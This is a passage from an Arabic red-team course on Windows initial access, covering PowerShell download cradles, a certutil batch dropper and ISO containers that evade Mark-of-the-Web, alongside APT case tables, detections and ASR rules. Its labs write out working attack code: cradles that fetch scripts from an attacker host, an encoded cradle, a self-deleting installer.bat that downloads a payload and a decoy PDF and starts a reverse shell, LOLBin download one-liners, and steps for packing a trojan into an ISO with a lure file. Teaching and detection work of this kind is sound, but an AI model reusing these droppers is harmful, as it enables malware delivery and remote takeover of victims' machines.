  • الذاكرة: فقط.
  • ✅ 2026: نفس فحص AMSI. تسلسل الرموز iwr … | iex بحد ذاته توقيع في MpEngine. على PowerShell 7.5 (مشحون مع 24H2 كـ pwsh) يُنشئ حدث 4104 يحتوي على الـ URL الكامل، سهل جداً على أدوات الصيد.
  • ملاحظة: -UseBasicParsing هو الافتراضي في PS 7.x ولا معنى له على 5.1 في 24H2.

النمط 3: IWR .Content داخل IEX

powershell
Invoke-Expression (Invoke-WebRequest 'http://ATTACKER:8080/x.ps1').Content
  • ✅ 2026: نفس مسار AMSI، مع تسجيل ScriptBlock (event 4104) للنص الكامل بعد التنزيل.
  • ⚠️ بدون -UseBasicParsing على 5.1 يستدعي IE COM parser وهو الآن مجرد stub على 24H2 (IE أُزيل بالكامل)، يرمي HRESULT 0x80004005.

النمط 4: Base64 -EncodedCommand

powershell
powershell.exe -NoP -W Hidden -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AQQBUAFQAQQBDAEsARQBSADoAOAAwADgAMAAvAHgALgBwAHMAMQAnACkA
  • ✅ 2026: AMSI يفكّ الترميز قبل التوزيع، الترميز لا يكسب شيئاً. قاعدة ASR الجديدة c0033c00-d16d-4114-a5a0-dc9b3a7d2ceb (Block use of copied or impersonated system tools) تُطلق إنذاراً على powershell.exe -enc عند تشغيله من أب غير تفاعلي (Office، WMI، Scheduled Tasks، mshta).
  • خطأ شائع للطلاب: يجب أن يكون UTF-16LE ثم Base64، وليس UTF-8.

النمط 5: DownloadFile إلى %TEMP% ثم Start-Process (يُوصّل payload.exe مباشرة بلا stager وسيط)

powershell
(New-Object Net.WebClient).DownloadFile('http://ATTACKER:8080/payload.exe',"$env:TEMP\svc32.exe"); Start-Process "$env:TEMP\svc32.exe" -WindowStyle Hidden

ملاحظة: هذا النمط لا يفتح الطُعم PDF، الضحية سترى نافذة PowerShell تختفي بلا إشارة بصرية. للطُعم المرئي استخدم Pattern 1 أو Pattern 2 مع x.ps1 أعلاه.

  • القرص: يكتب %TEMP%\p.exe.
  • ✅ 2026: فحص Defender في الوقت الحقيقي يضربه لحظة إغلاق DownloadFile للـ handle. MOTW يُضاف تلقائياً لأن المصدر منطقة إنترنت، SmartScreen يحظر عند Start-Process. Smart App Control (SAC) على 24H2 المُثبّت جديداً يحظر PEs غير الموقّعة بصمت.

النمط 6: System.Net.Http.HttpClient الحديث

powershell
$h=[System.Net.Http.HttpClient]::new(); IEX $h.GetStringAsync('http://ATTACKER:8080/x.ps1').Result
  • الذاكرة: فقط.
  • ✅ 2026: HttpClient يدعم TLS 1.3 على 24H2 (بينما WebClient لا). .Result يُوقف الـ runspace فيبدو الحمل الطويل كأنه تعليق.

2.5 استخدام حقيقي من APT: بالسنة والحملة

السنةالمجموعةالحملة/البرمجيةدور الـ Cradle
2015APT29 (Cozy Bear / SVR)اختراق DNC: SeaDaddy implant + PowerShell backdoorPowerShell backdoor يعمل بجانب SeaDaddy؛ تكتيكات المجموعة "عادةً عبر PowerShell و WMI": G0016
2015–2018FIN7 / CarbanakAnunak POSمحمّلات PowerShell مُشوّشة (HALFBAKED, POWERSOURCE, TEXTMATE) داخل LNK phishing تُوصل CARBANAK في الذاكرة
2017–2020APT32 / OceanLotus (فيتنام)تجسّس ضد ASEAN، صناعة السياراتمستندات .doc.mht مُسلّحة، ماكرو VBA يفكّ base64 → PowerShell → SCHTASKS؛ سكربتات في Alternate Data Streams (log.txt:ads)
2014–2021TA542 / Emotetموجات spam بنكية عالميةماكرو Word/Excel يُطلق powershell -enc <base64> cradle بنمط (New-Object Net.WebClient).DownloadString(...) في حلقة عبر 5–7 URLs، ويُسقط ssd.dll في C:\Users\Public\Documents\ → rundll32
2019–2020Wizard Spider (TrickBot)PowerTrick backdoorPowerShell agent مبني على نموذج Empire، stager يجلب backdoor أكبر كـ base64 ويشغّله في الذاكرة؛ ثبّت Anchor و More_Eggs على أهداف عالية القيمة
2020+Kimsuky (DPRK)تجسّس ضد كوريا الجنوبية، KAERI 2021تحذير CISA AA20-301A: mshta.exe يجلب HTA → PowerShell "لتشغيل ملفات من الإنترنت دون لمس القرص الفعلي"
2020APT29 / NOBELIUMSolarWinds SUNBURST → TEARDROP → Cobalt Strike؛ متغير Raindropبعد اختيار الضحية عبر SUNBURST، المشغّلون بأيديهم يستخدمون PowerShell للحركة الأفقية وتثبيت Raindrop إضافية؛ Cobalt Strike Beacon مُدرّج عبر PowerShell one-liners
2021DarkSide affiliateColonial Pipeline ransomwareبعد VPN foothold، المهاجمون استخدموا powershell.exe و certutil.exe لتنزيل وتشغيل DarkSide؛ PowerShell استُخدم لـ `Get-WmiObject Win32_ShadowCopy \Remove-WmiObject` لتعطيل الاسترداد

المصادر: <https://attack.mitre.org/groups/G0016/>, <https://attack.mitre.org/groups/G0050/>, <https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-301a>, <https://www.microsoft.com/en-us/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/>

2.6 الدفاعات (وكيف يتهرّب المهاجمون منها)

الدفاعآلية العملتهرّب المهاجم
Script Block Logging (Event 4104): PS 5.0+يسجّل النص الكامل بعد فك التشفير عبر ETW قبل التنفيذتشغيل PowerShell من runspace مستضاف خارج powershell.exe (Stracciatella, SharpPick): لكن البصمة نفسها تظهر في 4104 عادة
AMSI (Windows 10+)callback لبائع AV بالبيانات المُفَكّة قبل Invoke-Expression(1) in-memory patch لـ AmsiScanBuffer، (2) reflection لتصفير amsiInitFailed، (3) استضافة خارج powershell.exe
Constrained Language Mode (CLM)يُقيّد PowerShell لأنواع "آمنة" فقط، ويمنع Add-Type و.NET reflectiondowngrade لـ PS v2 (مُزال في 24H2)، أو MSBuild / InstallUtil / msxsl
قواعد ASRحظر سلوكي (obfuscated scripts، Office child processes، Win32 API from macros)تشويش متقدّم، أو تجنّب Office تماماً
WDACيمنع تشغيل السكربتات و DLLs غير الموقّعةصعب جداً: عادةً يقتل السلسلة كاملة

قائمة قواعد ASR الرسمية: <https://learn.microsoft.com/en-us/defender-endpoint/attack-surface-reduction-rules-reference>

2.7 خريطة MITRE ATT&CK لـ PowerShell Cradle

  • T1059.001، Command and Scripting Interpreter: PowerShell ← powershell.exe الخارجي.
  • T1105، Ingress Tool Transfer ← DownloadString / DownloadFile / iwr.
  • T1027، Obfuscated Files or Information (الأب). — T1027.010، Command Obfuscation ← -EncodedCommand، format-operator، backticks.
  • T1140، Deobfuscate/Decode Files or Information ← [Convert]::FromBase64String(...).
  • T1218، System Binary Proxy Execution ← mshta، regsvr32 عندما يستدعيان PowerShell.
  • T1204.002، User Execution: Malicious File ← الماكرو الذي يُطلق الـ cradle.

2.8 السلسلة الكاملة (End-to-End): من ضغطة الضحية إلى الـ shell

text
┌─── Kali (attacker) ─────────┐        ┌─── Windows Victim ─────────┐
│ Terminal 1: nc -nlvp 4444   │        │ 1. victim runs Pattern 1   │
│ Terminal 2: python -m       │◄───────│    IEX cradle              │
│   http.server 8080          │        │ 2. IEX downloads x.ps1     │
│   يستضيف:                    │        │ 3. x.ps1 downloads:        │
│     x.ps1                   │        │      Report.pdf  (decoy)   │
│     decoy.pdf               │────────►      svc32.exe  (payload)  │
│     payload.exe             │        │ 4. Report.pdf يفتح ✓       │
│                             │        │ 5. svc32.exe يعمل خفية     │
│  ← shell arrives on 4444    │◄───────│ 6. reverse shell connects  │
└─────────────────────────────┘        └────────────────────────────┘

ماذا يرى الضحية: نافذة Adobe/Edge/Chrome تفتح Report.pdf، يقرأه ولا يشك بشيء.

ماذا ترى أنت على Kali:

text
$ nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.0.2.15 49812
Microsoft Windows [Version 10.0.26100.xxxx]
(c) Microsoft Corporation. All rights reserved.
C:\Users\victim>

✅ اختبر نفسك: القسم 2

  1. ما الفرق بين DownloadString و DownloadFile؟ أيّهما "fileless" وأيّهما يترك أثراً على القرص؟
  2. لماذا Pattern 4 (-EncodedCommand) لا يهرب من AMSI في 2026؟
  3. من أين جاءت كلمة "cradle" في مصطلحات PowerShell Empire؟ ماذا تعني تشبيهاً؟
  4. اذكر ثلاث مجموعات APT استخدمت PowerShell cradle، مع اسم الحملة والسنة.
  5. ما الوظيفة المحددة لسطر Start-Process $pdf في x.ps1؟ لماذا نفتح الطُعم أصلاً؟

3/5 صحيحة = تابع. أقل = راجع الجدول 2.5 والقسم 2.4.


القسم 3القسم 3: الطريقة ❷ Batch Dropper مع certutil

3.1 ما هو ملف .bat؟

Batch file (.bat أو .cmd) = ملف نصي عادي يحتوي أوامر يُنفّذها مُفسّر أوامر Windows (cmd.exe، أو command.com في MS-DOS القديم) سطراً بسطر.

خط زمني:

السنةالحدث
1981MS-DOS 1.0 يُشحن مع COMMAND.COM؛ .BAT أحد ثلاث امتدادات قابلة للتنفيذ (.COM, .EXE, .BAT)
1987DOS 3.3 يُضيف CALL، @، SETLOCAL
1993Windows NT 3.1 يُقدّم cmd.exe (إعادة كتابة كاملة 32-bit) وامتداد .cmd
1996–2000NT 4 / Windows 2000: for /f، set /a، pushd، popd
2003+لا تغييرات كسر التوافق. cmd.exe مُشحن مع كل نسخة حتى Windows 11 و Server 2025

خواص تُهمّ المهاجم:

  • بلا تصريف، بلا توقيع، بلا مُفسّر خارجي، الملف هو البرنامج.
  • يعمل بصلاحيات المستخدم المُستدعي، لا UAC عند double-click.
  • سهل التشويش، cmd.exe يتحمّل c^ertu^til، %COMSPEC:~0,1%، وحيل for /f.
  • صفر telemetry افتراضياً، بدون Sysmon أو 4688 مع cmdline، لا يظهر سوى عملية cmd.exe.

3.2 لماذا certutil.exe هو "أداة التنزيل" المُفضّلة؟

certutil.exe أداة Microsoft الرسمية لخدمات الشهادات، موجودة في %SystemRoot%\System32\ على كل Windows Server منذ 2000 وكل عميل منذ Vista. مهمتها المقصودة: dumping CA config، التحقق من سلاسل الشهادات، نشر CRLs. موقّعة Authenticode من Microsoft.

المشكلة: أضاف مطوّروها بعض "الأعلام المريحة" التي حوّلتها لعميل HTTP عام وكودك base64/hex، وهذه الأعلام هي ما أعطاها مكانها الدائم في مشروع LOLBAS.

الأمران اللذان يعرفهما كل red team:

text
certutil.exe -urlcache -split -f https://attacker.tld/payload.exe C:\Users\Public\p.exe
text
certutil -decode payload.b64 payload.exe

الترسانة الكاملة المُوثّقة في LOLBAS:

الأمرالغرضATT&CK
certutil -urlcache -f URL FILEتنزيل من الإنترنتT1105
certutil -verifyctl -f URL FILEمسار تنزيل بديلT1105
certutil -URL URLGUI تنزيل، يُخزّن في %LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\T1105
certutil -urlcache -f URL PATH:tttكتابة التنزيل في NTFS Alternate Data Stream (غير مرئي في Explorer)T1564.004
certutil -encode FILE FILE.base64تشفير للتهرّب من التوقيعاتT1027.013
certutil -decode FILE.b64 FILEإعادة بناء الثنائي من base64T1140
certutil -decodehex FILE.hex FILEنفسه من hexT1140

3.3 أدوات التنزيل LOLBins الأخرى

certutil ليس وحيداً. batch dropper يمكن أن يدور بين أي من هذه الأدوات الموقّعة من Microsoft:

  • bitsadmin.exe، CLI لخدمة Background Intelligent Transfer Service، منذ XP:
    text
    bitsadmin /transfer j /priority foreground https://a.tld/p.exe C:\Users\Public\p.exe
    MITRE: T1197 (BITS Jobs). النقل يستمر عبر إعادة التشغيل ويعمل بحقّ الخدمة لا المُتّصل.
  • curl.exe، أُضيف لـ Windows 10 build 1803 (أبريل 2018) وموجود الآن على كل Windows 10/11 و Server 2019+:
    text
    curl -o C:\ProgramData\p.exe https://a.tld/p.exe
  • powershell.exe -c "Invoke-WebRequest ..."، الكلاسيكي (القسم السابق).
  • mshta.exe، Microsoft HTML Application host يُشغّل .hta بعيداً مباشرة:
    text
    mshta https://a.tld/p.hta
  • regsvr32.exe، "Squiblydoo" (Casey Smith / subTee, 2016):
    text
    regsvr32 /s /n /u /i:https://a.tld/script.sct scrobj.dll
    يجلب ويُشغّل COM scriptlet بعيد بلا أثر على القرص.

المخزون الكامل: <https://lolbas-project.github.io/>، يُصنّف الآن أكثر من 200 ثنائي وسكربت ومكتبة.

3.4 المعمل 🧪: بناء dropper batch كامل

إعداد الحمولة على خادم المهاجم (Kali)

bash
# Terminal 1 — nc listener
nc -nlvp 4444
bash
# Terminal 2 — استضف payload.exe و decoy.pdf من مجلد المحاضرة 2
mkdir -p /srv/payloads && cd /srv/payloads
cp /home/hash-hash/ctf/dev/red-ctf/delivery/payload.exe .
cp /home/hash-hash/ctf/dev/red-ctf/delivery/decoy.pdf   .
python3 -m http.server 8080 --bind 0.0.0.0

نمط الـ dropper الكنسي: installer.bat (يُنزّل الحمولة والطُعم ويفتح الاثنين)

bat
@echo off
setlocal
set U_EXE=http://ATTACKER:8080/payload.exe
set U_PDF=http://ATTACKER:8080/decoy.pdf
set T_EXE=%TEMP%\svc32.exe
set T_PDF=%TEMP%\Report.pdf

rem 1) نزّل الحمولة عبر certutil (ثنائي Microsoft موقّع)
certutil.exe -urlcache -split -f %U_EXE% %T_EXE% >nul 2>&1

rem 2) نزّل PDF الطُعم بنفس الطريقة
certutil.exe -urlcache -split -f %U_PDF% %T_PDF% >nul 2>&1

rem 3) افتح PDF للضحية (غطاء — يفتحه Adobe/Edge/Chrome)
start "" "%T_PDF%"

rem 4) شغّل الحمولة خفية في الخلفية → reverse shell
start "" /b "%T_EXE%"

rem 5) امسح البصمة — احذف الـ .bat نفسه
(goto) 2>nul & del "%~f0"

تشريح:

  • certutil -urlcache -split -f، يجلب الملف من URL قد يُرجع image/jpeg كـ content-type لكنه يُسلّم أي ثنائي (حيلة عدم توافق النوع الشهيرة).
  • الاستضافة في %TEMP%، يتجنّب طلبات الكتابة ويبقى في موقع قابل للكتابة ومُفَهرس.
  • start "" "%T_PDF%"، يفتح PDF بالتطبيق المُقترن (Adobe/Edge)، الضحية يرى مستنداً شرعياً.
  • start "" /b "%T_EXE%"، يُطلق payload.exe منفصلاً، في الخلفية، بعنوان نافذة فارغ → reverse shell إلى Kali.
  • (goto) 2>nul & del "%~f0"، الحذف الذاتي: goto بلا لصيقة يخرج، والأمر بعد & يحذف السكربت نفسه.

بعض العائلات تتخطى certutil وتستخدم bitsadmin أو curl أو powershell، الشكل متطابق.

3.5 استخدام حقيقي من APT: بالسنة والحملة

وفق صفحة MITRE ATT&CK لـ certutil (S0160)، المجموعات التالية شوهدت تُسيء استخدام certutil:

السنةالمجموعةالحملة
2017Turla (روسيا) + SofacyKaspersky (Q2 2017 APT trends) وثّق تجريب Sofacy لـ certutil لاستخراج ماكرو مُشفّر
2018–2019Kimsuky (كوريا الشمالية)Operation STOLEN PENCIL (2018)، Operation Kabar Cobra (2019)، Operation Smoke Screen (2019): echo لـ base64 blob على القرص ثم certutil -decode لإعادة بناء C2 stager
2019APT32 / OceanLotus (فيتنام)مستندات VBA خبيثة استخدمت certutil -decode لإعادة بناء حمولة .csproj في %TEMP%: Palo Alto Unit 42 حملة KerrDown، ESET "Fake or Fake" (مارس 2019)
Sep–Dec 2019Lazarus (كوريا الشمالية)Operation In(ter)ception: تقرير ESET (يونيو 2020): WMIC لـ XSL، certutil لفك base64، rundll32/regsvr32 لتشغيل implants: ضد شركات الطيران والدفاع الأوروبية
2017–2019+Ke3chang / APT15 (الصين)تحليل NCC Group لـ RoyalCli/RoyalDNS: تفضيل قوي لـ "live off the land"
2019+MuddyWater (إيران)Check Point "Muddy Waters of APT Attacks" (2019)، Group-IB Earth Vetala (2024): تاريخ طويل من VBS/batch droppers
2023–2024Volt Typhoon (الصين)حملات CISA ضد البنية التحتية الحيوية الأمريكية: نهج LOTL بحت

استخدام تجاري: ميزة Cobalt Strike's Scripted Web Delivery تُنتج one-liners بـ bitsadmin، powershell، exe، python، النكهات bitsadmin و certutil هي الافتراضية.

3.6 لماذا يُخفق المدافعون؟

  • موقّع من Microsoft، كل LOLBin هنا يحمل توقيع Authenticode صالح.
  • موجود شرعياً، certutil يعمل يومياً على كل جهاز مضاف للنطاق (MDM، تسجيل الشهادات).
  • يمتزج مع نشاط المسؤولين، بدون baseline، الاستخدام الخبيث يبدو ضوضاء.
  • فقير التوقيعات، إساءة LOLBin سلوك لا ملف. لا يوجد hash للحظر.
  • حجم المشكلة، LOLBAS يُصنّف 200+ ثنائي.

3.7 الدفاعات

قواعد ASR ذات الصلة:

  • 5BEB7EFE-FD9A-4556-801D-275E5FFC04CC، Block execution of potentially obfuscated scripts.
  • D4F940AB-401B-4EFC-AADC-AD5F3C50688A، Block Office applications from creating child processes (يقتل سلسلة Office → cmd → certutil).
  • 92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B، Block Win32 API calls from Office macros.
  • BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550، Block executable content from email/webmail.

Defender AV أيضاً لديه block سلوكي مدمج يمنع certutil.exe من إنشاء أو تنزيل محتوى قابل للتنفيذ.

كشف Sysmon (Event ID 1):

  • Image ينتهي بـ \certutil.exe AND CommandLine يحتوي -urlcache أو -decode أو -decodehex أو -verifyctl.
  • ParentImage = cmd.exe AND CommandLine = certutil.exe ....
  • مع Sysmon Event 3 (network connection): certutil.exe يتصل بـ IP خارج RFC1918 = مؤشر عالي الثقة على الخبث.

متطلبات تسجيل Windows:

  • تفعيل Audit Process Creation → Event 4688.
  • تفعيل ProcessCreationIncludeCmdLine_Enabled في GPO (وإلا 4688 بلا command line).
  • نشر Sysmon مع config مُنسّق (SwiftOnSecurity أو Olaf Hartong).

3.8 خريطة MITRE

Techniqueمكانها في السلسلة
T1059.003: Command and Scripting Interpreter: Windows Command Shellملف .bat نفسه
T1105: Ingress Tool Transfercertutil -urlcache، bitsadmin، curl، iwr
T1140: Deobfuscate/Decode Files or Informationcertutil -decode، -decodehex
T1218: System Binary Proxy Executionregsvr32 /i:URL scrobj.dll (Squiblydoo)، mshta URL
T1197: BITS Jobsbitsadmin، Start-BitsTransfer
T1027.013: Obfuscated Files or Information: Encrypted/Encoded Fileblob base64/hex
T1564.004: Hide Artifacts: NTFS File Attributes (ADS)certutil -urlcache -f URL FILE:ads

Atomic Red Team يوفّر اختبارات جاهزة: <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1105/T1105.md>

3.9 السلسلة الكاملة (End-to-End)

text
┌─── Kali (attacker) ─────────┐        ┌─── Windows Victim ─────────┐
│ Terminal 1: nc -nlvp 4444   │        │ 1. يحفظ installer.bat      │
│ Terminal 2: python -m       │        │    من مرفق بريد أو ZIP     │
│   http.server 8080          │        │ 2. double-click             │
│   يستضيف:                    │◄───────│ 3. certutil → payload.exe  │
│     payload.exe             │◄───────│ 4. certutil → Report.pdf   │
│     decoy.pdf               │        │ 5. Report.pdf يفتح ✓       │
│                             │────────►      (الضحية يرى مستنداً)   │
│                             │        │ 6. svc32.exe يعمل خفية     │
│  ← shell arrives on 4444    │◄───────│ 7. reverse shell connects  │
│                             │        │ 8. .bat يحذف نفسه          │
└─────────────────────────────┘        └────────────────────────────┘

✅ اختبر نفسك: القسم 3

  1. اشرح بجملة واحدة ما الذي يفعله السطر (goto) 2>nul & del "%~f0".
  2. لماذا نستخدم certutil بدلاً من مجرد كتابة curl أو powershell -c Invoke-WebRequest؟ اذكر ثلاثة أسباب.
  3. اذكر ثلاثة LOLBins بديلة لـ certutil يمكنها تنزيل ملف من HTTP.
  4. أي مجموعة APT استخدمت certutil -decode في Operation In(ter)ception 2019؟ ومن نشر التقرير؟
  5. أي قاعدة ASR (بالـ GUID) توقف Office عن إنجاب cmd/certutil، وبالتالي تكسر السلسلة كاملة؟

3/5 صحيحة = تابع. أقل = راجع الجدول 3.5 والقسم 3.7.


القسم 4القسم 4: الطريقة ❸ ISO Container و "عام الـ ISO 2022"

4.1 ما هو ملف ISO؟

ملف ISO = صورة byte-for-byte لقرص ضوئي، تاريخياً CD-ROM، لاحقاً DVD و Blu-ray. الاسم من ISO 9660، المعيار الدولي لنظام ملفات CD-ROM الذي صدر عام 1988 كخليفة لـ High Sierra Format. ملف .iso واحد يحتوي نظام ملفات كامل تماماً كما سيُنسخ على قرص فعلي.

صيغ حاويات مماثلة:

الصيغةالامتدادالأصلنظام الملفات داخلها
ISO 9660 disc image.iso1988، معيار CD-ROMISO 9660 (غالباً مع Joliet أو Rock Ridge، أو UDF للأحجام الأكبر)
Generic disk image.img1980sأي شيء: FAT12/16/32, NTFS, HFS, ISO9660
Virtual Hard Disk.vhdMicrosoft Virtual PC 2003؛ VHDX مع Hyper-V في Server 2012أي نظام ملفات: يُعامل كقرص قابل للتركيب
Universal Disk Formatداخل .iso غالباًISO/IEC 13346، DVD/Blu-rayUDF

الأربعة كلها: "ضع نظام ملفات في ملف واحد ودع النظام يتظاهر بأنه محرك".

4.2 الاستخدامات الشرعية

  • مثبّتات أنظمة التشغيل، Windows 10/11 من Media Creation Tool، Ubuntu، Fedora، Arch، ESXi.
  • توزيع البرامج، Office، SQL Server، Visual Studio، حزم برامج التعريف.
  • VM attach، VMware, Hyper-V, VirtualBox, QEMU, Proxmox.
  • الأرشفة والفورنسكس، حفظ دقيق للأقراص، تكرار أدلة.
  • Live boot، Rufus، Ventoy، Kali Live، SystemRescue.

النقطة للطلاب: .iso نوع ملف طبيعي ومتوقّع في بيئات المؤسسات. حظره كلياً يُعطّل تدفقات IT، وهذا بالضبط الاحتكاك الذي استغلّه المهاجمون.

4.3 سلوك Windows منذ Windows 10

قبل Windows 8، فتح .iso تطلّب برامج طرف ثالث. Windows 8 (2012) أضاف التركيب الأصلي، وWindows 10 (يوليو 2015) شحن هذا كسلوك افتراضي.

منذ Windows 10:

  • double-click على .iso يُركّبه تلقائياً كمحرك بصري افتراضي عبر cmdlet Mount-DiskImage مدعوماً بـ vhdmp.sys. حرف محرك جديد يظهر (E: أو أعلى)، ويفتح Explorer المحتويات.
  • .img يتصرف بنفس الطريقة إذا احتوى ISO9660/UDF أو FAT.
  • .vhd/.vhdx double-click يُركّب أصلياً على Pro/Enterprise.
  • النموذج الذهني للمستخدم: "فتحت مجلداً"، أيقونة المحرك في الشجرة، اسم المجلد الودود، النافذة التي تُفتح تلقائياً، كلها تُعزّز هذا.

مفتاح السجل الذي يوصّل هذا: HKCR\Windows.IsoFile\shell\mount\command

4.4 Mark-of-the-Web (MOTW): تعمّق

Mark-of-the-Web آلية Windows لتوسيم الملفات القادمة من مصدر غير موثوق. أهم عنصر دفاعي كسرته حيلة ISO.

4.4.1 الآلية: NTFS Alternate Data Stream باسم Zone.Identifier

عندما يكتب تطبيق (متصفح، عميل بريد، Teams) ملفاً عبر واجهة IAttachmentExecute، يُلحق Windows تدفّق Zone.Identifier:

powershell
Get-Content .\installer.exe -Stream Zone.Identifier

المحتوى النموذجي:

text
[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://example.com/download
HostUrl=https://cdn.example.com/installer.exe

قيم ZoneId:

ZoneIdالمنطقة
0My Computer (محلي)
1Local Intranet
2Trusted Sites
3Internet: المهمة
4Restricted Sites

4.4.2 من يستهلك MOTW؟

  • SmartScreen، عند تشغيل executable مُوسّم بـ MOTW، يستفسر عن سمعته من خدمة Microsoft. الغير معروف يُنتج dialog "Windows protected your PC" مع خيار افتراضي "Don't run".
  • Office Protected View، Word/Excel/PowerPoint تفتح مستندات MOTW للقراءة فقط في عملية sandbox. الماكرو لا يعمل حتى يضغط المستخدم Enable Editing ثم Enable Content. في يوليو 2022 ذهبت Microsoft أبعد و حظرت ماكرو VBA افتراضياً في ملفات Office المُوسّمة بـ MOTW بدون خيار click-through سهل، التغيير المباشر الذي دفع المهاجمين للحاويات.
  • Explorer file-type warnings، dialog "Are you sure you want to run this?" لـ .exe، .msi، .bat، .js، .vbs، .hta، .ps1.
  • AppLocker / WDAC، يمكن إعدادها لحظر الملفات المُوسّمة كلياً.

4.4.3 🎯 الخطأ الحرج قبل نوفمبر 2022: MOTW لم ينتقل لمحتويات ISO

هنا الفجوة التي بُنيت عليها "سنة الـ ISO":

عندما ينزّل المتصفح .iso من الإنترنت، يُوسّم Windows الـ .iso نفسه بـ Zone.Identifier بشكل صحيح. لكن عندما ينقر المستخدم double-click وتُركّب الحاوية:

  • المحرك الافتراضي المُركّب هو volume بصري للقراءة فقط، وفي تنفيذ Microsoft لـ ISO 9660/UDF، NTFS ADS لا يوجد على هذه الأنظمة.
  • مسار التركيب لم يُنشئ Zone.Identifier للملفات المنسوخة/المُشغّلة من الحاوية المُركّبة.
  • النتيجة: .exe أو .lnk أو .js داخل ISO يُشغّل بدون MOTW، SmartScreen لا يستفسر، Office يفتح المستندات بثقة كاملة، الماكرو يعمل بصمت.

الحاوية = آلة غسل لعلامة منطقة الإنترنت.

الخطأ كان معروفاً علنياً منذ سنوات، الباحث Will Dormann (CERT/CC ثم ANALYGENCE) وثّقه على Twitter وفي تنبيهات CERT منذ ~2016، لكنه بقي بلا تصحيح حتى أجبرت بيانات التهديد Microsoft في أواخر 2022.

4.5 كيف سلّح المهاجمون هذا؟

الـ playbook الذي هيمن على 2022:

  1. الطُعم، بريد phishing بموضوع فاتورة/شحن/HR، أو reply-chain hijack لصندوق مسروق.
  2. الحاوية الأولى، مرفق أو رابط يُسلّم .zip صغيراً (أحياناً محمي بكلمة سر لكسر MOTW أيضاً) يحتوي .iso (أو .img) بحجم 1–5 MB.
  3. المستخدم يعمل double-click على ISO، Windows يُركّبه. المستخدم يرى شيئاً كمجلد فيه ملفان.
  4. داخل ISO، سلسلة "binder": — .lnk باسم Invoice.pdf بأيقونة PDF، هدفه cmd.exe /c ... أو rundll32.exe يستدعي DLL/JS/BAT مخفي. — مجلد مخفي فيه الحمولة الحقيقية، غالباً ثنائي شرعي موقّع لكن قابل للـ sideload (نسخة من regsvr32 أو مُحدّث من طرف ثالث) + DLL خبيث. — أو مباشرة .js / .vbs / .hta / .wsf script.
  5. التنفيذ، لأن MOTW غائب، SmartScreen صامت، لا شريط أصفر في Office. الـ loader يبعث خارجاً، يُسقط الـ RAT/loader/ransomware.

4.6 المعمل 🧪: بناء ISO

⚠️ للتوعية الدفاعية فقط، على جهاز معزول.

🎯 الفكرة المحورية: ISO لا يستبدل الـ Trojan Binder من المحاضرة 2، بل يغلّفه لتجاوز MOTW. نضع نفس Report.pdf.exe (الذي يفتح decoy.pdf ويطلق payload.exe) داخل ISO، فيحصل الضحية على نفس النتيجة بدون تحذير SmartScreen (قبل تصحيح نوفمبر 2022، وسنشرح البدائل الحديثة في 4.11).

bash
# Terminal 1 — nc listener على Kali
nc -nlvp 4444

Linux، genisoimage:

bash
mkdir -p /tmp/staging

# انسخ Report.pdf.exe (Trojan Binder المُبنى في المحاضرة 2)
# هذا الملف بالفعل يحوي decoy.pdf + payload.exe كموارد داخلية
cp /home/hash-hash/ctf/dev/red-ctf/delivery/Report.pdf.exe /tmp/staging/Report.pdf.exe

# (اختياري) أضف Readme.txt يزيد المصداقية
echo "Q4 Financial Report - Confidential - Please review" > /tmp/staging/Readme.txt

genisoimage -o Report.iso -V "REPORT_Q4" -J -R -iso-level 3 /tmp/staging/

Linux، xorriso (الحديث):

bash
xorriso -as mkisofs -o Report.iso -V "REPORT_Q4" -J -R /tmp/staging/

ماذا حدث؟ Report.iso الآن ملف واحد يمكن إرساله بالبريد أو استضافته على drive-by page. يحوي داخله Report.pdf.exe الذي بدوره يحوي decoy.pdf + payload.exe. طبقتان من التغليف = طبقتان من التهرّب:

  • الطبقة الخارجية (ISO): تُبطل MOTW على الملف الداخلي (في الحاويات القديمة قبل CVE-2022-41091).
  • الطبقة الداخلية (Binder): تفتح الطُعم بصرياً وتطلق الحمولة خفية.

Windows، oscdimg.exe (من Windows ADK):

text
oscdimg.exe -n -m -d C:\staging C:\out\payload.iso

PowerShell، VHDX:

powershell
New-VHD -Path .\payload.vhdx -Fixed -SizeBytes 5MB
Mount-VHD .\payload.vhdx
# format, copy files, dismount

الملفات الناتجة لا تُميّز عن مخرج المطوّر الشرعي على مستوى البايت. التصفية الدفاعية على magic bytes وحدها بلا فائدة.

4.7 "عام الـ ISO": حملات حقيقية (تاج المحاضرة)

المحفّز: قرار Microsoft بحظر ماكرو VBA افتراضياً في ملفات Office المُوسّمة بـ MOTW، من فبراير إلى يوليو 2022. لعقد كامل كان الماكرو الطريقة رقم 1 للوصول الأولي. عندما أُغلق الباب، أصبحت الحاويات الباب.

الفترةالمجموعة/العائلةالحملة
أبريل–نوفمبر 2022TA542 / EmotetProofpoint (أبريل 2022): Emotet ينتقل من مرفقات Excel بماكرو إلى ZIPs محمية بكلمة سر تحتوي LNK؛ يونيو–نوفمبر: LNK-in-ZIP و ISO-in-ZIP
فبراير 2022+Qakbot (Qbot): عناقيد TR و BBphishing hijack → OneDrive → ZIP → ISO → LNK → regsvr32 sideloading Qakbot DLL. HP Wolf Q3 2022 و Cisco Talos وثّقا العشرات
ربيع–صيف 2022BumbleBee loaderتم تسميته من Google TAG وتحليله بعمق من Proofpoint (أبريل 2022) كبديل لعائلة BazarLoader الخاصة بـ Conti/TrickBot؛ توصيل ISO حصري تقريباً
مطلع 2022IcedID (BokBot)متوازٍ مع Qakbot، تعبئة LNK-داخل-ISO مماثلة
2022LockBit affiliates (2.0 و 3.0)يستفيدون من نفس المحمّلات (BumbleBee, IcedID, Qakbot): اختراقات LockBit 2022 غالباً بدأت بـ ISO double-click
